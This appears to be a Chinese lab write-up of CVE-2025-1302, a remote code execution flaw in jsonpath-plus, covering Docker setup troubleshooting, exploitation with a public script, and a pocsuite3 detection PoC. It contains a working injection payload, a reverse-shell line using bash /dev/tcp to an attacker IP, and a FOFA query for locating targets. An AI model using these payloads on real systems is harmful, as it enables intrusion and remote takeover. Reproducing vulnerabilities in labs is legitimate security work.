一、JsonPATH
JSONPath 是一种用于查询和提取JSON数据的轻量级语言,类似于XPath对XML的作用。它通过简洁的路径表达式(如 $.store.book[0].title )定位JSON结构中的特定节点,支持通配符、过滤和递归搜索等操作,常用于API数据处理或日志分析中快速获取目标信息。
JSONPath Plus 是JSONPath的增强实现(如JavaScript库 jsonpath-plus ),在兼容原始语法的基础上扩展了更多功能,包括正则表达式匹配、脚本求值、多路径查询及结果自定义格式化。它解决了原生JSONPath的某些局限性,适用于复杂数据场景,提供更灵活、强大的数据提取能力。主要功能包括:
- 增强型过滤表达式
- 多路径查询支持
- 结果集后处理能力
- 兼容RFC 9535标准
二、漏洞成因
JSONPath Plus的远程代码执行漏洞(CVE-2025-1302)主要由以下技术缺陷和安全机制失效导致:
2.1 不安全的动态代码执行机制
JSONPath Plus在处理某些复杂表达式时,直接通过JavaScript的 eval 或 Function 构造函数动态执行代码(例如解析过滤表达式),且未对用户输入进行充分验证 。攻击者可构造包含恶意逻辑的JSONPath表达式(如嵌入 require(‘child_process’).exec() 等系统调用),触发任意代码执行。
2.2 沙箱隔离不足
虽然JSONPath Plus默认使用 vm 或 vm2 模块的沙箱环境限制代码执行权限,但配置存在缺陷:
- 当设置 this.curreval 为 native 时,直接调用原生 vm 模块,未完全隔离全局对象(如 process ),导致攻击者可能逃逸沙箱并访问系统接口 。
- 即使使用更严格的 vm2 (即安全沙箱模式 safevm ),若未限制内置模块(如 require ),仍可通过恶意表达式加载危险模块(如 child_process 执行系统命令) 。
2.3 代码替换逻辑绕过风险
代码中的字符串替换逻辑(如 code.replaceAll )仅处理部分关键词(如 @parent 、 @root ),但未过滤特殊字符(如反引号、括号)。攻击者可通过嵌套表达式或混淆语法(例如利用未处理的 this 、 function 关键字)绕过替换规则,注入恶意代码。
2.4 默认配置的安全隐患
在受影响版本(<10.3.0)中,默认启用的 eval=’afe’ 模式未严格限制动态执行权限。攻击者可利用该默认配置,通过恶意输入直接触发代码执行,无需依赖特定沙箱逃逸条件 2 。
2.5 原型链污染攻击可能性
漏洞还可能通过原型链污染(如修改 __proto__ 属性)影响其他对象的行为。若攻击者通过JSONPath表达式篡改对象原型,可能导致后续代码逻辑异常或执行非预期操作 。
漏洞的核心在于动态执行逻辑的安全边界缺失,包括沙箱隔离不彻底、输入验证不严格及默认配置风险。建议升级至10.3.0及以上版本,并禁用非必要的动态执行功能。
三、漏洞复现
3.1 环境搭建
- step1:拉取漏洞环境:
git clone https://github.com/EQSTLab/CVE-2025-1302
cd CVE-2025-1302/
- step2:构建镜像:
docker build -t jsonpath:10.2.0 .
该命令用于从当前目录的 Dockerfile 构建一个名为 jsonpath 、标签为 10.2.0 的 Docker 镜像。
-t (–tag) :指定镜像名称和标签,格式为 name:tag
大战bug:
报错:
[root@localhost CVE-2025-1302]# docker build -t jsonpath:10.2.0 . [+] Building 41.0s (2/2) FINISHED docker:default => [internal] load build definition from Dockerfile 0.0s => => transferring dockerfile: 434B 0.0s => ERROR [internal] load metadata for docker.io/library/node:22 41.0s ------ > [internal] load metadata for docker.io/library/node:22: ------ Dockerfile:2 -------------------- 1 | # Base Image 2 | >>> FROM node:22 3 | 4 | # Work Directory -------------------- ERROR: failed to solve: node:22: failed to resolve source metadata for docker.io/library/node:22: failed to do request: Head "https://docker.zhai.cm/v2/library/node/manifests/22?ns=docker.io": read tcp 192.168.52.3:44956->172.67.155.139:443: read: connection reset by peer
docker.zhai.cm
单独拉node:22镜像分析时镜像仓库不可访问的问题,使用之前用过的一个仓库
docker.zhai.cm
单独拉镜像docker pull docker.zhai.cm/library/node:22
[root@localhost CVE-2025-1302]# docker pull docker.zhai.cm/library/node:22 Error response from daemon: Head "https://docker.zhai.cm/v2/library/node/manifests/22": read tcp 192.168.52.3:44998->172.67.155.139:443: read: connection reset by peer
Ping 和 curl都能执行成功,但是访问 https://docker.zhai.cm/v2/library/node/manifests/22 ,
返回如下内容:
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"library/node","Action":"pull"}]}]}
- 使用
m.daocloud.io/docker.io/library/
前缀拉镜像拉取镜像的时候加前缀:
docker pull m.daocloud.io/docker.io/library/node:22
![]()
成功拉取到镜像。
- 重新构建镜像
我已经拉取到node:22的镜像了,但是重新执行docker build -t jsonpath:10.2.0 . 时还是报错:
ERROR: failed to solve: node:22: failed to resolve source metadata for docker.io/library/node:22: failed to do request: Head " https://docker.zhai.cm/v2/library/node/manifests/22?ns=docker.io ": read tcp 192.168.52.3:45124->172.67.155.139:443: read: connection reset by peer
- 修改
/etc/docker/daemon.json
配置文件{ "registry-mirrors": [ "https://docker.m.daocloud.io" ] }
![]()
重启服务:
systemctl restart docker
- 重新构建环境
![]()
https://github.com/DaoCloud/public-image-mirror 【解决docker pull不下来镜像的问题】
长时间卡在这个位置:
![]()
报错:
> [5/6] RUN apt-get update && apt-get install -y net-tools netcat-openbsd: 0.654 Get:1 http://deb.debian.org/debian bookworm InRelease [151 kB] 2.662 Get:2 http://deb.debian.org/debian bookworm-updates InRelease [55.4 kB] 4.548 Get:3 http://deb.debian.org/debian-security bookworm-security InRelease [48.0 kB] 10.79 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB] 89.07 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages 90.39 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB] 189.5 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages 191.9 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB] 666.3 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages 671.4 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB] 1071.5 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages 1075.2 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB] 1641.1 Err:4 http://deb.debian.org/debian bookworm/main amd64 Packages 1641.1 Connection timed out [IP: 146.75.114.132 80] 1656.5 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [12.1 MB] 2294.7 Reading package lists... 2295.2 E: Release file for http://deb.debian.org/debian/dists/bookworm-updates/InRelease is not valid yet (invalid for another 5d 15h 56min 41s). Updates for this repository will not be applied. 2295.2 E: Release file for http://deb.debian.org/debian-security/dists/bookworm-security/InRelease is not valid yet (invalid for another 5d 9h 22min 57s). Updates for this repository will not be applied. ------ Dockerfile:12 -------------------- 11 | # Install net tools 12 | >>> RUN apt-get update && apt-get install -y \ 13 | >>> net-tools \ 14 | >>> netcat-openbsd 15 | -------------------- ERROR: failed to solve: process "/bin/sh -c apt-get update && apt-get install -y net-tools netcat-openbsd" did not complete successfully: exit code: 100
更换APT镜像源:
原始的Dockerfile
# Base Image FROM node:22 # Work Directory WORKDIR /usr/src/app # Install essential packages COPY package*.json ./ RUN npm install # Install net tools RUN apt-get update && apt-get install -y \ net-tools \ netcat-openbsd # COPY application code COPY . . # Expose 3000 port EXPOSE 3000 # Execute CMD ["node", "server.js"]
修改后的Dockerfile:
# Base Image FROM node:22 # Work Directory WORKDIR /usr/src/app # Install essential packages COPY package*.json ./ RUN npm install # Install net tools RUN sed -i 's/deb.debian.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \ sed -i 's/security.debian.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \ apt-get update && \ apt-get install -y \ net-tools \ netcat-openbsd # COPY application code COPY . . # Expose 3000 port EXPOSE 3000 # Execute CMD ["node", "server.js"]
![]()
还是报错。提示不存在/etc/apt/sources.list的文件。
改成如下内容:
RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && \ echo 'deb http://mirrors.163.com/debian/ jessie main non-free contrib' > /etc/apt/sources.list && \ echo 'deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib' >> /etc/apt/sources.list && \ echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list
新的Dockerfile
# Base Image FROM node:22 # Work Directory WORKDIR /usr/src/app # Install essential packages COPY package*.json ./ RUN npm install # Install net tools RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && \ echo 'deb http://mirrors.163.com/debian/ jessie main non-free contrib' > /etc/apt/sources.list && \ echo 'deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib' >> /etc/apt/sources.list && \ echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list apt-get update && \ apt-get install -y \ net-tools \ netcat-openbsd # COPY application code COPY . . # Expose 3000 port EXPOSE 3000 # Execute CMD ["node", "server.js"]
报错:
Dockerfile:16 -------------------- 15 | echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list 16 | >>> apt-get update && \ 17 | >>> apt-get install -y \ 18 | >>> net-tools \ 19 | >>> netcat-openbsd 20 | -------------------- ERROR: failed to solve: dockerfile parse error on line 16: unknown instruction: apt-get
原因:apt-get update前面少了一个
![]()
但还是报错。还是提示没有/etc/apt/sources.list的文件。
详细了解一下Dockerfile
# Base Image FROM node:22 # Work Directory WORKDIR /usr/src/app # Install essential packages COPY package*.json ./ RUN npm install # Install net tools RUN apt-get update && apt-get install -y \ net-tools \ netcat-openbsd # COPY application code COPY . . # Expose 3000 port EXPOSE 3000 # Execute CMD ["node", "server.js"]
这个Dockerfile用于构建一个Node.js应用的容器化环境,其核心作用是通过分层构建实现应用依赖管理、环境配置和启动流程标准化。以下是逐层解析:
- 基础镜像选择:
FROM node:22
作用 :基于官方Node.js 22版本的镜像构建,该镜像预装了Node.js运行环境和npm包管理器。
技术细节 :该镜像默认基于Debian系统(如Bookworm),提供完整的Linux工具链支持。相较于Alpine镜像,Debian基础镜像更适合需要系统工具(如 net-tools )的场景。
- 工作目录设置
WORKDIR /usr/src/app
作用 :在容器内创建并切换到 /usr/src/app 目录,后续所有命令(如 COPY 、 RUN )均在此目录执行。
优化意义 :避免文件散落在根目录,提升可维护性。若目录不存在,Docker会自动创建。
- 依赖安装与缓存优化
COPY package*.json ./
RUN npm install
精准复制依赖文件 :仅复制 package.json 和 package-lock.json (或 npm-shrinkwrap.json ),而非整个项目代码。
分层缓存 :利用Docker层缓存机制,仅在依赖文件变化时重新执行 npm install ,显著减少重复构建时间。
- 网络工具安装
RUN apt-get update && apt-get install -y \
net-tools \
netcat-openbsd
net-tools :提供 ifconfig 、 netstat 等网络诊断工具,便于容器内网络调试 。
netcat-openbsd :支持端口测试和网络通信(如 nc -zv 目标IP 端口 ) 。
- 应用代码复制
COPY . .
作用 :将宿主机当前目录所有文件(除 .dockerignore 排除项)复制到容器的工作目录。
- 端口暴露与启动命令
EXPOSE 3000 CMD [ "node" , "server.js" ]
- 重新分析报错信息
重新执行原始镜像,还是报相同的错误,交给DS分析,它提到一点:
嗯,用户提供的Dockerfile在构建时遇到了错误。错误信息显示在运行apt-get update时出现了问题,特别是关于某些仓库的Release文件还未生效,导致无法更新。看起来这个问题和时间有关,可能是Docker容器内的系统时间与宿主机或实际时间不同步,导致验证仓库元数据时失败。
看一下系统的时间(当前时间:3月27日下午两点):
![]()
时间确实不对。
重新测试一下:
docker build -t jsonpath:10.2.0 .
![]()
经过大约40分钟(取决于网速),开始安装具体的工具,之后不需要等待多久即可构建成功。
![]()
最终构建成功。
- step3:运行容器
docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0
docker run --name jsonpath -p 3000:3000 jsonpath:10.2.0 #不带--rm参数
命令解释:
--rm 作用 :容器停止后自动删除容器(清理资源)。 适用场景 : 临时测试环境(如调试、CI/CD 流水线)。 避免残留大量已停止的容器占用磁盘空间。 注意事项 : 容器内产生的数据会随容器删除而丢失(需挂载卷持久化数据)。 不适合生产环境 (需保留日志或故障排查时禁用此参数)。 --name jsonpath 作用 :为容器指定自定义名称 jsonpath (默认随机生成名称如 funny_rabbit )。 优势 : 便于通过名称管理容器(如启动、停止、查看日志)。 避免通过冗长的容器 ID 操作。
- Step4:访问测试
3.2 漏洞利用
- 新建目录并放置利用脚本
地址:https://github.com/EQSTLab/CVE-2025-1302/
- 新建python虚拟环境
- 安装依赖
pip install -r requirements.txt
- 执行利用命令
攻击端监听:
nc -nvlp 4444
python3 CVE-2025-1302.py -u http://192.168.52.3:3000/query -i 192.168.52.6 -p 4444
- -u 指定目标url
- -i 指定反弹shell连接的地址(攻击者的IP)
- -p 指定反弹shell连接的端口(攻击者的端口)
成功获取到靶机的shell,并且是root权限。
四、pocsuite3 POC编写
4.1 POC代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pocsuite3.lib.core.common import data_to_stdout
from pocsuite3.lib.core.poc import Output, POCBase
from pocsuite3.lib.request import requests
from pocsuite3.lib.core.register import register_poc
from faker import Faker
import time
class TimeBasedPOC(POCBase):
vulID = 'CVE-2025-1302'
version = '1.0'
author = 'sixiaokai'
vulDate = '2025-03-03'
createDate = '2025-03-27'
updateDate = '2025-03-27'
references = ['https://github.com/EQSTLab/CVE-2025-1302']
name = 'jsonpath Plus 远程代码执行漏洞CVE-2025-1302'
appPowerLink = 'https://www.npmjs.com/package/jsonpath-plus'
appName = 'JSONPath-plus'
appVersion = 'versions < 10.3.0'
vulType = "RCE"
cyberspace = {'fofa':'body="jsonpath-plus" || title="JSONPath query"'}
samples = ['http://192.168.52.3:3000/query']
desc = """
JSONPath Plus在处理某些复杂表达式时,直接通过JavaScript的 eval 或 Function 构造函数动态执行代码
(例如解析过滤表达式),且未对用户输入进行充分验证 。攻击者可构造包含恶意逻辑的JSONPath表达式
(如嵌入 require('child_process').exec() 等系统调用),触发任意代码执行。
"""
def _generate_payload(self, sleep_time):
# 生成跨平台sleep命令
return (
"$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync("
f"'sleep {sleep_time} 2>nul || timeout /t {sleep_time} >nul').toString())\";"
"Ethan=''[['constructor']][['constructor']](p);Ethan())]"
)
"""
实际利用的时候可使用下面的payload getshell:
payload = f"$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync(
'bash -c \\\"bash -i >& /dev/tcp/{self.ip}/{self.port} 0>&1\\\"').toString())\";
Ethan=''[['constructor']][['constructor']](p);Ethan())]"
"""
def _verify(self):
result = {}
fake = Faker()
# 基准响应时间检测
baseline_start = time.time()
try:
requests.post(
self.url,
json={"path": "$.valid.path"},
headers={'User-Agent': fake.user_agent()},
verify=False,
timeout=15
)
except:
pass
baseline = time.time() - baseline_start
# 执行延时payload检测
payload = {
"path": self._generate_payload(5)
}
headers = {
'User-Agent': fake.user_agent(),
'Content-Type': 'application/json'
}
try:
start_time = time.time()
resp = requests.post(
self.url,
json=payload,
headers=headers,
verify=False,
timeout=15
)
elapsed = time.time() - start_time
# 时间阈值判断逻辑
if elapsed > 4.5 and (elapsed - baseline) > 4: # 允许网络延迟误差
result['VerifyInfo'] = {
'URL': self.url,
'BaselineTime': f"{baseline:.2f}s",
'ResponseTime': f"{elapsed:.2f}s",
'TimeDifference': f"{(elapsed - baseline):.2f}s"
}
except requests.exceptions.Timeout:
result['VerifyInfo'] = {'Result': 'Timeout triggered as expected'}
except Exception as e:
data_to_stdout(f"[-] Detection failed: {str(e)}")
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("No time delay detected")
return output
register_poc(TimeBasedPOC)